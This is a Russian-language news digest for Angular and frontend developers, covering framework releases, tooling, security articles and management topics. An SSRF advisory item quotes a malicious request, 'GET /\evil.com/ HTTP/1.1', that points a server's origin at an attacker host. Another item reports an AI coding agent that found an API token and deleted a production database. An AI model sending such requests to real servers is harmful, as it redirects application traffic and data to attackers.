🦊 Angular Fox 🚀 — русскогорящие новости сообщества

🚀 Resource API переходит в Stable!

Судя по опросу, многие намеренно избегали Resource API из-за его экспериментального статуса. Не всем хочется строить логику на том, что может кардинально измениться или вовсе исчезнуть. И это разумно.

Хорошая новость в том, что недавно смерджен PR, который официально переводит семейство Resource API: resource, rxResource и httpResource из экспериментальной стадии сразу в стабильный статус, минуя стадию Developer Preview.

Важно: Связанный с этим изменением PR, содержит breaking change. Вы можете заметить небольшие изменения в тайминге установки значения value, поэтому стоит проверить свои приложения.

👉 https://github.com/angular/angular/pull/68253

✨ CSS для тех, кто спал и проснулся

Если вы, как и большинство, в свое время быстро пробежались по CSS и ушли в JavaScript, самое время вернуться. За последние несколько лет язык получил столько возможностей, что часть задач, которые раньше решались только через JS или препроцессоры, теперь закрывается чистым CSS.

CSS Nesting: вложенность селекторов без Sass.

Слои каскада (@layer): гибкое управление приоритетом стилей.

Container Queries (@container): позволяет менять стили компонента в зависимости от ширины его родительского контейнера, а не размеров окна браузера.

Продвинутые селекторы и многое другое.

Хороший повод пересмотреть, сколько логики в вашем проекте живет в JS только потому, что в свое время CSS так не умел.

👉 https://habr.com/ru/articles/1026574/

✨ Рабочее место не-вайбкодера по методу Spec-Driven Development

Даниил Подольский описал базовую конфигурацию рабочего места по методологии SDD, при котором LLM-агент управляется через формальные спецификации, а не произвольные промпты.

В результате получилось отвязать агента Claude Code от стандартной платной подписки, подключить сторонних LLM-провайдеров и реализовать бесшовное переключение моделей индивидуально для каждого проекта без перезагрузок.

👉 https://habr.com/ru/companies/yadro/articles/1029288/

✨ Права в Linux

На фоне участившихся новостей о взломах, утечках и атаках на инфраструктуру самое время вернуться к фундаментальным основам безопасности. Базовая защита любого сервера начинается с корректной настройки прав доступа, ведь часто причиной инцидента становится не сложный эксплойт, а банальный человеческий фактор и неправильная конфигурация.

В статье подробная и структурированная памятка по системе привилегий в Linux, которая поможет упорядочить знания и закрыть пробелы в понимании того, как ОС управляет доступом.

👉 https://habr.com/ru/articles/1027674/

✨ 50 оттенков порока: за что команды ненавидят тимлидов

Идеальных тимлидов не существует, ошибки случаются у всех. Разница между деструктивным и эффективным лидером не в отсутствии промахов, а в готовности их признавать и меняться.

Топ-7 управленческих ошибок из статьи:

1. Микроменеджмент. Руководитель вмешивается в каждый шаг, лишая команду самостоятельности и превращаясь в бутылочное горлышко.
2. Плохая обратная связь. Отсутствие своевременной оценки работы.
3. Непогрешимость. Отказ признавать ошибки и игнор объективных показателей ведут проект к краху.
4. Манипуляция. Управление через эмоции и уязвимости вместо прозрачных договоренностей.
5. Лицемерие. Использование фразы "мы семья" для принуждения к неоплачиваемым переработкам, и требование соблюдать правила, которые сам игнорирует.
6. Ложь. Пустые обещания роста и подгонка показателей под красивые отчеты.
7. Замалчивание. Блокировка информации в обе стороны: ни вверх, ни вниз по иерархии.

👉 https://habr.com/ru/companies/avito/articles/1029328/

✨ Как Cursor с Claude Opus снёс продакшен базу данных за 9 секунд

Индустрия интегрирует AI-инструменты быстрее, чем выстраивает для них инфраструктуру безопасности.

Недавно агент уничтожил продакшен-базу, пытаясь починить стейджинг. Он самостоятельно нашел API-токен и выполнил запрос на удаление тома. Вместе с базой удалились и все внутренние бэкапы, так как провайдер хранил их на том же самом томе.

А вы сталкивались с подобными ситуациями? К чему это привело, пишите в комментариях.

👉 https://habr.com/ru/articles/1028758/

✨ Как обезопасить работу с NPM

Чтобы минимизировать риски и закрыть основные векторы атак, авторы предлагают внедрить ряд практик:

Фиксация зависимостей. Используйте npm ci в CI/CD и на проде для точной установки версий строго из lock-файла.

Борьба с подменами и ИИ. Не устанавливайте вслепую пакеты, которые советует ИИ, чтобы не стать жертвой slopsquatting.

Аудит зависимостей. npm audit, npm outdated, npm doctor - базовый набор для оценки здоровья проекта.

Не публикуйте секреты в реестр. .npmignore и .gitignore разные файлы. Если вы обновили только второй, .env может утечь в опубликованный пакет.

Ограничение скриптов. Применяйте флаг --ignore-scripts для защиты от выполнения вредоносного кода в хуках.

Критичный взгляд на README. Не копируйте примеры из документации без ревью, часто ради краткости в них опускают важные настройки безопасности.

Полный список в статье.

👉 https://cheatsheetseries.owasp.org/cheatsheets/NPM_Security_Cheat_Sheet.html

✨ Developer Experience

Про Developer Experience (DX) принято говорить в контексте комфорта и заботы о сотрудниках. Из-за этого фокус часто смещается. Руководство закупает удобные кресла и печеньки в офисе, в то время как пайплайн как собирался 40 минут, так и собирается.

Когда руководитель все же доходит до вопроса, а как это измерять, стандартные фреймворки вроде DORA фиксируют скорость доставки кода, но не переводят боль команды в конкретные цифры потерь.

Андрей Синицын предлагает четыре метрики, которые напрямую переводятся в деньги:

Time to first commit. Сколько дней от выхода нового разработчика до его первого коммита в продакшн.

Доля времени на инфраструктурное трение. Сколько процентов рабочего дня уходит на борьбу с инструментами, а не на написание кода.

Стоимость инцидента в минутах простоя.

Cost-to-value платформенной команды. Сколько стоит содержать платформу и сколько она экономит остальным.

👉 https://habr.com/ru/articles/1028246/

✨ Скрытие email-адресов

В статье представлено актуальное исследование методов обфускации email-адресов от спам-ботов.

Чтобы выяснить эффективность различных подходов, автор превратил свою страницу в ханипот и на реальных данных замерил, какие техники действительно не позволяют скриптам извлечь почту, сохраняя при этом доступность и удобство для конечных пользователей.

Как показывает статистика, оставленный в открытом виде email или mailto: ссылка парсятся в 100% случаев (уровень защиты 0%). Однако большинство ботов работают примитивно, даже базовая замена текста на спецсимволы отсекает до 95% парсеров.

👉 https://spencermortensen.com/articles/email-obfuscation/

✨ Релиз Git 2.54

Над релизом поработали 137 контрибьюторов, которые выкатили ряд важных фич для упрощения повседневной рутины.

Основные фичи:
🔧 git history. Новая экспериментальная команда для редактирования истории коммитов. Поддерживает два режима: reword (изменить сообщение коммита) и split (интерактивно разбить коммит на два).

🪝 Конфигурационные хуки. Теперь хуки можно описывать прямо в .gitconfig или /etc/gitconfig, задавая несколько хуков на одно событие.

👉 https://github.blog/open-source/git/highlights-from-git-2-54/

✨ Анонс TypeScript 7.0 Beta

Команда TypeScript выпустила бета-версию TypeScript 7.0. Компилятор был полностью портирован на Go и работает примерно в 10 раз быстрее версии 6.0.

Парсинг, тайпчекинг и кодогенерация теперь выполняются параллельно. Флаг --checkers задает количество воркеров для проверки типов (по умолчанию 4), а --builders число параллельных сборщиков project references, что особенно полезно для монорепозиториев.

Есть возможность включить однопоточный режим флагом --singleThreaded.

Стабильный релиз ожидается в течение двух месяцев.

👉 https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-beta/

✨ Как превращать дизайнерские требования в архитектуру UI-компонента

При проектировании UI-кита или компонентов дизайн-системы часто возникает разница подходов. Дизайнеры описывают поведение элементов через призму пользовательского опыта, в то время как фронтендерам необходимо строгое разделение ответственности между компонентом и бизнес-логикой.

Даниил Замешаев разобрал подход, который помогает переводить требования от дизайнеров в чистую, масштабируемую архитектуру компонентов.

👉 https://habr.com/ru/companies/moysklad/articles/1020848/

✨ Как находить XSS

Учитывая, что число выявляемых уязвимостей продолжает расти, понимание методов их обнаружения становится обязательным навыком.

XSS (Cross-Site Scripting) — одна из самых распространенных проблем веб-приложений, позволяющая выполнять произвольный JavaScript в браузере.

Статья обобщает реальные практики поиска таких дыр: от классических способов до неочевидных сценариев, которые могут привести к утечкам данных.

👉 https://www.hackerone.com/blog/how-find-xss-techniques-security-researchers-use-real-environments

🚨 Уязвимость SSRF в Angular Platform-Server

Обнаружена серьезная уязвимость Server-Side Request Forgery в @angular/platform-server, связанная с некорректной обработкой URL при SSR.

Как работает атака?
Злоумышленник отправляет запрос вида:

GET /\evil.com/ HTTP/1.1

Сервер передаёт строку в Angular SSR, парсер нормализует обратный слэш в прямой и приложение начинает считать evil.com своим текущим origin. В результате все относительные запросы через HttpClient и обращения к PlatformLocation.hostname уходят на сервер атакующего.

👉 https://github.com/angular/angular/security/advisories/GHSA-45q2-gjvg-7973

✨ Формы в Angular

Знаем, знаем, вы уже успели соскучиться по очередной статье про формы. Тема не новая, обсуждений хватает, и большинство из вас уже в курсе, куда движется Angular, так что без предисловий.

Молчанов Егор сравнил подходы Reactive Forms и Signal Forms на конкретных примерах: от базовой формы с валидацией до динамических списков и асинхронных проверок.

👉 https://habr.com/ru/companies/domclick/articles/1018180/

✨ Новый @Service декоратор

В Angular появится более удобная альтернатива @Injectable. Причина добавления нового декоратора в том, что @Injectable существует с самого начала Angular и несет в себе много багажа, создающего лишние сложности для разработчиков, которым, как правило, нужно просто объявить синглтон-сервис, доступный во всем приложении.

Ключевые отличия:

По умолчанию использует providedIn: 'root'. Если вы хотите регистрировать сервис вручную, установите autoProvided: false.

Не поддерживает инжекцию через конструктор, только через функцию inject.

Не поддерживает сложную сигнатуру @Injectable (useClass, useValue и т.д.). Вместо этого поддерживается единственная функция factory.

👉 https://github.com/angular/angular/pull/68195

✨ Oxc Angular Compiler

VoidZero представила экспериментальный компилятор Oxc Angular Compiler, написанный на Rust с использованием ИИ-агентов. Он компилирует Angular-приложения до 20x быстрее по сравнению с текущими решениями.

Прирост производительности достигнут за счет изменения подхода к анализу кода. Стандартный компилятор Angular генерирует из HTML-шаблонов TypeScript-код, а затем использует TypeScript Compiler для глубокого семантического анализа и проверки типов. Oxc Angular Compiler выполняет трансформацию шаблонов нативно на Rust, снижая зависимость от семантического чекера TypeScript.

Важно: Компилятор создан в исследовательских целях. Проект не будет поддерживаться, и не предназначен для использования в продакшене. Воспринимайте его как прототип для проверки гипотезы.

👉 https://voidzero.dev/posts/oxc-angular-compiler

✨ Основные элементы экосистемы JavaScript

В 2026 году экосистема JavaScript делает ставку на нативную производительность и отказ от лишних зависимостей.

Новые стандарты внедряют фичи, которые раньше требовали сторонних библиотек, главные рантаймы научились запускать TypeScript из коробки, а базовый тулинг массово переписывается на низкоуровневых языках вроде Rust и Go для кратного ускорения работы.

👉 https://habr.com/ru/articles/1021182/

⏪ Назад в прошлое

Если вы когда-нибудь скучали по скрипу 56k-модема.

Opera запустили Web Rewind, интерактивный цифровой архив, посвященный самым знаковым моментам истории интернета: от визга модема при подключении до наших дней.

👉 https://web-rewind.com/

✨ Утечки памяти во фронтенде

Исследование показало, что 86 % открытых фронтенд-проектов содержат хотя бы один случай отсутствующей очистки ресурсов. Проблемы найдены в 430 из 500 репозиториев.

Среди 55 864 находок лидируют: setTimeout/setInterval без clearTimeout/clearInterval (43,9%), addEventListener без removeEventListener (19%), .subscribe() без .unsubscribe() или takeUntil (13,9%), useEffect без возврата cleanup-функции, requestAnimationFrame без cancelAnimationFrame и т.д.

👉 https://stackinsight.dev/blog/memory-leak-empirical-study/